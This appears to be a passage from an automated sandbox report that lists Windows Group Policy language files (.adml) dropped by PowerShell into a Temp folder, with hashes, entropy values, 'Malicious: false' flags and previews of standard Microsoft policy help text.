C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WinInit.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2477
Entropy (8bit):	4.814838125716894
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yaGryIBOKOxOZghgBMZvGM2MWIxTgbaoR01bF2jV:cgeD5x8gm8fKeBOVx2ghUD92YN7V
MD5:	0CDEAB62595877530194386C7F6A6661
SHA1:	1F0AA6E09C0C4123912F41639AB16534669D374E
SHA-256:	00FF3D345DDD3586734720DDDE1E688A31AC0CA468ED85B8A322CBCFD4BB03EE
SHA-512:	C1CE4AB1F1878E7DFE16DBC6065E9145EEB23914208F5C0A815D4DC18B4BFD5DF5BB588E6042F80E1EAB56001F5BFD8EF5F1CA061EF43D1440B3215FCE774B91
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisableNamedPipeShutdownPolicyDescription">Turn off legacy remote shutdown interface</string>.. <string id="DisableNamedPipeShutdownPolicyDescription_Help">This policy setting controls the legacy remote shutdown interface (named pipe). The named pipe remote shutdown interface is needed in order to shutdown this system from a remote Windows XP or Windows Server 2003 system.....If you enable this policy setting, the system does not create the named pipe remote shutdown interface.....If you disable or do not conf

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WinLogon.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (530), with CRLF line terminators
Category:	dropped
Size (bytes):	8978
Entropy (8bit):	4.691590472306916
Encrypted:	false
SSDEEP:	192:Ehq33S6hDBnHY0+4F1QvJNF1QmQcZNDoFYuu/+AsdegiYKECaVBMi8JfRs:mqBFUhYXZMi8c
MD5:	AD266AC436809BBDC0A19A05E80904A8
SHA1:	9515ABF43047427E1A13E2930C9AB6C171C6EA0B
SHA-256:	0E5BA42E689B38880E0DCB236FC16C4EB9E1809DC94CFCF5AA511B79FAFBA26F
SHA-512:	2B27F8DA69CDFB4423C954DC402FD7234C9F462E849F2687FFFD9E00CDEF23FF5EFA8D7A59E7640BAFC96633C0929A0136F5DCED52CA1ECD8ED2C15FBA8D1DC7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisplayLastLogonInfoDescription">Display information about previous logons during user logon</string>.. <string id="DisplayLastLogonInfoDescription_Help">This policy setting controls whether or not the system displays information about previous logons and logon failures to the user.....For local user accounts and domain user accounts in domains of at least a Windows Server 2008 functional level, if you enable this setting, a message appears after the user logs on that displays the date and time of the last suc

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Windows.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	7341
Entropy (8bit):	5.050859952546844
Encrypted:	false
SSDEEP:	192:7t/qF4BH/2pten9EVDEVhclKekhlJDnfQn:8bAeYlJDnU
MD5:	091AE0EC426BBE821C7C4A313FA3E5A5
SHA1:	013191A0FEF6551C71BCBD5823D0DC6C02867906
SHA-256:	FD871C109B4BE893167D85E6C37792B70E2F251DDB9370D039161E3FE735BDCC
SHA-512:	9971AB9D1272594663E6BDEC25110E6116B39C5101C70177ED846E3D4D78A8FE8F23326D559B0D420404D1ADE94AD93FC774000A6B1B372583D54863F5B34A72
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions" revision="1.0" schemaVersion="1.0">.. <displayName>Windows Vista base categories and supported component definitions</displayName>.. <description>This file contains all the base categories and supported component definitions used by operating system components.</description>.... <resources>.. <stringTable>.. <string id="SUPPORTED_WindowsVistaOrServer2008Only">Windows Server 2008 and Windows Vista</string>.. <string id="SUPPORTED_AllowWebPrinting">Windows 2000 or later, running IIS. Not supported on Windows Server 2003.</string>.. <string id="SUPPORTED_IE6SP1">At least Internet Explorer 6 Service Pack 1</string>.. <string id="SUPPORTED_Win2k">At least Windows 2000</string>.. <s

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsAnytimeUpgrade.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1059
Entropy (8bit):	5.0665762842091135
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yFvHzJCFEpFlurFV:cgeD5x8gm8fKeLoFalurFV
MD5:	42A08790F9D22D63FC6D832BC97CAB7C
SHA1:	1EAADF4115A41993AEA94D99AD23034C88DA243B
SHA-256:	38866CDAD4284842C711350A8E5E9A0E3743B21BB66F0D849073FD73D4137A0F
SHA-512:	4DC9EC52BE0CA470CCAE39A62E6674610151BDA10395874548A47036EDF72C861A016D66B3ED38A1892BCB17B3A67A3371B6D29C7A1B37B76321064B6A81288D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WAU">Add features to Windows 8.1</string>.. <string id="WAU_Help">Contains settings to control the behavior of the Add features to Windows 8.1 wizard.</string>.. <string id="DisableWAU">Prevent the wizard from running.</string>.. <string id="DisableWAU_Help">By default, Add features to Windows 8.1 is available for all administrators. ....If you enable this policy setting, the wizard will not run.....If you disable this policy setting or set it to Not Configured, the wizard will run.</string>.. </s

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsBackup.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3483
Entropy (8bit):	4.819976484985464
Encrypted:	false
SSDEEP:	48:cgeD5J8FGj3Hzx+h1Pi1DjP3xYPXUrP/bFV:LeD5OuLFV
MD5:	8015A772382BE975C6E6145B1A25F71A
SHA1:	4B8773056C6F34C2BF2463E2FC9C346BA73BB221
SHA-256:	33A81CBC22929DB64640E0DA5046F30634F5B9DC9271F9601CA7ABCBC0E656D7
SHA-512:	61C05CEEC442EB66BFFC11ED4D303D15A15E5D385B62D7118EC3354FB07CDE6EB95A6A98D3828BB213122C98606333B7A7EF72B4719B79D3B07175D50FF3DA8D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Windows Backup</displayName>.. <description>Windows Backup</description>.. <resources>.. <stringTable>.. <string id="AllowOnlySystemBackup">Allow only system backup</string>.. <string id="AllowOnlySystemBackupExplain">This policy setting allows you to manage whether backups of only system volumes is allowed or both OS and data volumes can be backed up.....If you enable this policy setting, machine administrator/backup operator can backup only volumes hosting OS components and no data only volumes can be backed up.If you disable or do not configure this policy setting, backups can include both system or data volumes.</string>.. <string i

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsColorSystem.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1427
Entropy (8bit):	4.84683359240417
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61ymLYLQqTKjUW3gHU5Xyp7lvW8/pV0FV:cgeD5x8gm8fKuTcgeiTD0FV
MD5:	39EDDC1EBA0C76841D195659381A44B5
SHA1:	3ED545728FAE06E6C94B15B443EE3CCBFED6B902
SHA-256:	DFF8FE621764236769B2C17AEC64C4A8496DD967CF2D3EB9E2F8103BD503E12C
SHA-512:	7A44DF7BF6E10E7985CD401D69C2361C888FF5D8CCE151C50DA871AD5F680A4EE5ED1941958014BD91FD45E0B5E6C84B6BD77467D9B6D1F197A2BA8096D17EA9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ProhibitChangingInstalledProfileList">Prohibit installing or uninstalling color profiles</string>.. <string id="ProhibitChangingInstalledProfileListExplain">This policy setting affects the ability of users to install or uninstall color profiles.....If you enable this policy setting, users cannot install new color profiles or uninstall previously installed color profiles.....If you disable or do not configure this policy setting, all users can install new color profiles. Standard users can uninstall color profi

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsConnectNow.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (333), with CRLF line terminators
Category:	dropped
Size (bytes):	3410
Entropy (8bit):	5.029780460475183
Encrypted:	false
SSDEEP:	96:LeD5pmCEXQ8gCBmXrmlBGx9HuT5nF2Uxt8IoV:EbEXQ8gCBmXrmMuT5F2Uxt8F
MD5:	7FDE7C285C5BFBCD2E562DB3F37096EC
SHA1:	FE32189EE6438FF319BDD9C79FFFDEEF158BA977
SHA-256:	1471ACA2B4BCD0A4D5BF43330741CC0314A243DE0757DB0383452A7C473E1644
SHA-512:	9C1C72D90D5F03399C6AB11029EEE9EB13B897723ED636094AE1565F5E55D4BF9F468A4F93E6BC45C5FA1C135DA0351E5EE2C3372A12C558607230ECC65E78B6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WCN_Category">Windows Connect Now</string>.. <string id="WCN_DisableWcnUi">Prohibit access of the Windows Connect Now wizards</string>.. <string id="WCN_DisableWcnUi_Help">This policy setting prohibits access to Windows Connect Now (WCN) wizards. ....If you enable this policy setting, the wizards are turned off and users have no access to any of the wizard tasks. All the configuration related tasks, including "Set up a wireless router or access point" and "Add a wireless device" are disabled. ....If you d

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsDefender.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 text, with very long lines (733), with CRLF line terminators
Category:	dropped
Size (bytes):	75437
Entropy (8bit):	4.739020696864297
Encrypted:	false
SSDEEP:	768:UtkTlKxkN82stKz65oqibddrfPaeq6wEqx2xkN8AAS2VHU/2:UWBD82noaTrfPae62xy8AASD2
MD5:	F1A80F0C326A0FDE6917DD3AD03C6561
SHA1:	C014384966DEF2C68671E9BED95371447D96FA77
SHA-256:	03DD8B1E813023915A4F0143749E9CE752F81EDB973D4071CA522A03028CE619
SHA-512:	5FC276B7F1A8D8C3AE163910007405CB38108F5728EE9A2FAE74DD134FCDF3972BA4D46905650C252C96A18BFB781564A626621DAD7F9AFF49BC9D6751399A16
Malicious:	false
Preview:	<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AntiSpyware">Windows Defender</string>.. <string id="Exclusions">Exclusions</string>.. <string id="NetworkRealtimeInspection">Network Inspection System</string>.. <string id="NetworkRealtimeInspection_Exclusions">Network Inspection System Exclusions</string>.. <string id="Quarantine">Quarantine</string>.. <string id="RealtimeProtection">Real-time Protection</string>.. <string id="Remediation">Remediation</string>.. <string id="Reporting">Reporting</string>.. <string id="Scan">Scan</string>.. <string id="SignatureUpdate">Signature Updates</string>..

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsExplorer.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (989), with CRLF line terminators
Category:	dropped
Size (bytes):	57954
Entropy (8bit):	4.692320082638433
Encrypted:	false
SSDEEP:	768:hctuJMsDha+k7JlgKVrag8E09FlZ9mzQNkQZZZaQZQP2BQvYIsyYiq:hpg8TluE5BQv5syYiq
MD5:	C1FBABFE3BC28D72CEB06DABDD8DCDDA
SHA1:	74660612AAE1056EBDB1DCBBE4D93AA163558AB4
SHA-256:	D350F2161317CCA32AD7BB4D6CF369F3AA81467122855F9FA8B8B0BA15F14893
SHA-512:	EC3B8C1449B89C5981CEC9D3F2072AD66D2C92FAC2336365C341959FF9AB60B60083C39D1413217B4F07FFEE3389B4C6DCFFF5B7A7F38EE781A934212F5A1A66
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ABCDOnly">Restrict A, B, C and D drives only</string>.. <string id="ABConly">Restrict A, B and C drives only</string>.. <string id="ABOnly">Restrict A and B drives only</string>.. <string id="ALLDrives">Restrict all drives</string>.. <string id="ClassicShell">Turn on Classic Shell</string>.. <string id="ClassicShell_Help">This setting allows an administrator to revert specific Windows Shell behavior to classic Shell behavior.....If you enable this setting, users cannot configure their syste

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsFileProtection.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4257
Entropy (8bit):	4.850396400130338
Encrypted:	false
SSDEEP:	96:LeD5pm1WXTuo/WBDr5RCutnwFBTb8WEMa3GUiKV:EQVJtwV3Zahi+
MD5:	2652912F37E3671937BB50F97C05FADF
SHA1:	F1B96B528263077B0DD66B9C004E923EAA71C6E8
SHA-256:	D7293FB074E7098858E2090DB60C7E3A8DC96FA062FACBABDA34AF48C57A4A8A
SHA-512:	F462F5F732207EFB517FAB537A556A80BD8BFE80302EBAF9436E34B3788ADF2907F53D08AF871D57EDD03D2C457ECC709320F7DC7F0D33F68F4E2254C111A9AF
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WFP">Windows File Protection</string>.. <string id="WFPDllCacheDir">Specify Windows File Protection cache location</string>.. <string id="WFPDllCacheDir_Help">This policy setting specifies an alternate location for the Windows File Protection cache.....If you enable this policy setting, enter the fully qualified local path to the new location in the "Cache file path" box.....If you disable this setting or do not configure it, the Windows File Protection cache is located in the %Systemroot%\System32\Dllcac

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsFirewall.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1085), with CRLF line terminators
Category:	dropped
Size (bytes):	43147
Entropy (8bit):	4.809526069081037
Encrypted:	false
SSDEEP:	384:1OHZuj3f3oPzINNKREqPRLHN83hOzwPvW+0NQkAV2ld0lrlBjSMDt3sKaT7c7cA:Z3jNNsohbvW+0NQkAV2ld0lrlB7
MD5:	0DDDC70E928C3191D6DB487772FCDDD6
SHA1:	124DCC7A766E35E7B8BD9C3EF6C5E62A447F6282
SHA-256:	5625F229BC2CE0518F0689C32B02F208D1B160274D5C9AC00707A15FD4F254AB
SHA-512:	BF17199483BB0DA38AEA1B64BC98CDED7F000B264BC45444423AC60D710E5855445BEB097523D28FB305E82824B75A4C76F99BA4488D9FA22754853A0BBDC073
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WF_AllowedPrograms_Help">Allows you to view and change the program exceptions list defined by Group Policy. Windows Firewall uses two program exception lists: one is defined by Group Policy settings and the other is defined by the Windows Firewall component in Control Panel.....If you enable this policy setting, you can view and change the program exceptions list defined by Group Policy. If you add a program to this list and set its status to Enabled, that program can receive unsolicited incoming messages on any po

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsMail.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1162
Entropy (8bit):	4.9740818694409095
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61ynrrl8q+O0jSBC7knRupMRud+FV:cgeD5x8gm8fKs2q2SA7aoMzFV
MD5:	2CDED79A2DD5C6D41BFAA7567008F5CD
SHA1:	EC6C5B95AF0DC5559BD8013B3150600AFDCEEEBF
SHA-256:	9C7A2043D9D255F11092CE1303ABFD599BBEFC4459D1C87308D4738E2E7225A2
SHA-512:	C78FC573B695F8C1AE28056E1A19D80EBCB840D8FC7576353E50951043BC4E2F2E020DB9AE1BF2B81F53DF936E34C40BD1B84322F117B898E01B128D01BE1A33
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="TurnOffCommunities">Turn off the communities features</string>.. <string id="TurnOffCommunities_help">Windows Mail will not check your newsgroup servers for Communities support.</string>.. <string id="TurnOffWindowsMail">Turn off Windows Mail application</string>.. <string id="WindowsMail">Windows Mail</string>.. <string id="WindowsMail_help">Denies or allows access to the Windows Mail application.....If you enable this setting, access to the Windows Mail application is denied.....If you disable

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsMediaDRM.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (432), with CRLF line terminators
Category:	dropped
Size (bytes):	1636
Entropy (8bit):	4.844281894305683
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKmlUrPmP6TuZY4UG4c2SDlSFV:LeD5pm6lY1TuCG4IDUFV
MD5:	0BEF85C5A51F0980D97B8F87CC124C6B
SHA1:	72C086550C97C4E87B55D7171AA36E1EA33F1371
SHA-256:	EEFF3058ED45FA9E18846EE53BE4EF621B20BA2D7BB4535A81CDBF8066604E68
SHA-512:	CDD4647BC6B6CE9A3F1ED741C0929C1C768F0E4AF1B2DE27D7C161153CA744117FC34CFEF91C5DC72EDB8AE7FAD91C95F5125E90F2F02ACC27796A37B6E9B190
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisableOnline">Prevent Windows Media DRM Internet Access</string>.. <string id="DisableOnlineExplain">Prevents Windows Media Digital Rights Management (DRM) from accessing the Internet (or intranet).....When enabled, Windows Media DRM is prevented from accessing the Internet (or intranet) for license acquisition and security upgrades.....When this policy is enabled, programs are not able to acquire licenses for secure content, upgrade Windows Media DRM security components, or restore backed up content licenses

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsMediaPlayer.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (560), with CRLF line terminators
Category:	dropped
Size (bytes):	22067
Entropy (8bit):	4.725628900708413
Encrypted:	false
SSDEEP:	384:mndYKgb1n1M2UKzDSLikfF6vkRssT0vdtUL607p7aH:cbu3kQDGfFRsY0vQB7pc
MD5:	2E98C6915989DDC7243EFCC53275A5FC
SHA1:	D83FCE256850CA49F4F58F3D6DE0EFA6F1524B03
SHA-256:	AC668C6094254BED8D12F1BF3B6D8E60B552C288ACF47FAB101AB889BA9D824E
SHA-512:	D03A54A7ECB7186CDAE5EE39795F9B688C3E193847D0ED0F15CDF3EFC70077DDF2E572A2A5996641A000C4BECCF6C3E090A21FDEFB2D38B996EFF1D9F4771458
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Autodetect">Autodetect</string>.. <string id="ConfigureHTTPProxySettings">Configure HTTP Proxy</string>.. <string id="ConfigureHTTPProxySettingsExplain">This policy setting allows you to specify the HTTP proxy settings for Windows Media Player.....If you enable this policy setting, select one of the following proxy types:....- Autodetect: the proxy settings are automatically detected...- Custom: unique proxy settings are used...- Use browser proxy settings: browser's proxy settings are used.....If the Cus

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsMessenger.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2609
Entropy (8bit):	4.83243600779635
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKurmiSL30cT3cCtwpYS3tyLmHI+P25YS3t3zdFV:LeD5pmD7TMSy2FV
MD5:	3B589ADE17CCE578D294FF56D65F5321
SHA1:	3885D1E98889369FCDF0570B76601B0EEAAEED09
SHA-256:	BA36F02C4F20E6A6075C3091D0FD5BC81F6589552889FE4055C4BD90831A7699
SHA-512:	4BA6FE1BFB1209B03EA09ADDC64C288D9F076CD72EF968517E12A60AB8EC2060EF877D268ADA856D1B5BD4AA55CAE784D95F033FA839B66A84A039F8F0EFA206
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WinMSG_NoAutoStartWindowsMsg_Comp">Do not automatically start Windows Messenger initially</string>.. <string id="WinMSG_NoAutoStartWindowsMsg_Help">This policy setting prevents Windows Messenger from automatically running at logon. ....If you enable this policy setting, Windows Messenger is not loaded automatically when a user logs on.....If you disable or do not configure this policy setting, Windows Messenger will be loaded automatically at logon.....Note: This policy setting simply prevents Windows Messenge

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsProducts.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5639
Entropy (8bit):	4.939572011046928
Encrypted:	false
SSDEEP:	96:LeD5a2Uy2oPZVH9GQPVtmkPl7Q6sP9dBIP0KP6bLPbxTPJiPG5CP5ubPbDyG7kWq:ENPnOXiVyZcNmTDxun
MD5:	14C496DDE1D1ACC8B3809CF194122870
SHA1:	4A500C7707FD2791A0118C078D5113B0EF4A2844
SHA-256:	C662D7E4BF2848728B8F335734CB6500C40E88727F1ABFABCD1E097B4C6B4FB3
SHA-512:	5FF521B1B1A903132003B2F20BE3502BA69388D8A9839EB4B8485B56EFB71751B0B69AFC0AF56B0601910A685CE4025F43930A1C24FCD8DDB585A8E17AD35760
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions" revision="1.0" schemaVersion="1.0">.. <displayName>Windows Vista products table</displayName>.. <description>This file contains all the product definitions used in supported on definitions.</description>.... <resources>.. <stringTable>.. Microsoft Windows -->.. <string id="MicrosoftWindows">Windows operating system</string>.. <string id="MicrosoftWindows2000">Windows 2000 operating systems</string>.. <string id="MicrosoftWindows2000_RTM">Windows 2000</string>.. <string id="MicrosoftWindows2000_SP1">Windows 2000 Service Pack 1</string>.. <string id="MicrosoftWindows2000_SP2">Windows 2000 Service Pack 2</string>.. <string id="MicrosoftWindows2000_SP3">Windows 2000

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsRemoteManagement.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (354), with CRLF line terminators
Category:	dropped
Size (bytes):	14554
Entropy (8bit):	4.769003944604622
Encrypted:	false
SSDEEP:	192:EGUQ3V7eAfrBxq5L/cPcFS5YCZXGSqHL/LmLlUCEXjNi2+J1+sEG:9tBc5LUPcKYCZXGSqHDLmBcNi2S
MD5:	E24B954C1451F81FC8559A0F42D8B804
SHA1:	02CDBB99F2546ED8DD467B9799FDA9DECFE1F716
SHA-256:	A8B80A925FCC599E485029B1833C58865A6A16D872FB8766F9ACB8A1E0752D93
SHA-512:	156521221250B6029798C10A2BF138954280AEE73D34FEFCC6D6B3ABB9399824B9135D76A2F8FF1F975F1818D123E6D56DCAD7655E6D6EC5851E7D661926A802
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowAutoConfig">Allow remote server management through WinRM</string>.. <string id="AllowBasic">Allow Basic authentication</string>.. <string id="AllowBasicClientHelp">This policy setting allows you to manage whether the Windows Remote Management (WinRM) client uses Basic authentication.....If you enable this policy setting, the WinRM client uses Basic authentication. If WinRM is configured to use HTTP transport, the user name and password are sent over the network as clear text.....If you disable or do

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsRemoteShell.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5497
Entropy (8bit):	4.839558778753586
Encrypted:	false
SSDEEP:	96:LeD5pmCfYYOpQgxeUMP5pWuPG47CngUmOuWg9m56V:EBfY/MPCCG4OngUq0o
MD5:	157A758A1233F9764CDFFCB79F8ADAB2
SHA1:	F1203844E770993418DCB257146C5BF98532F5C0
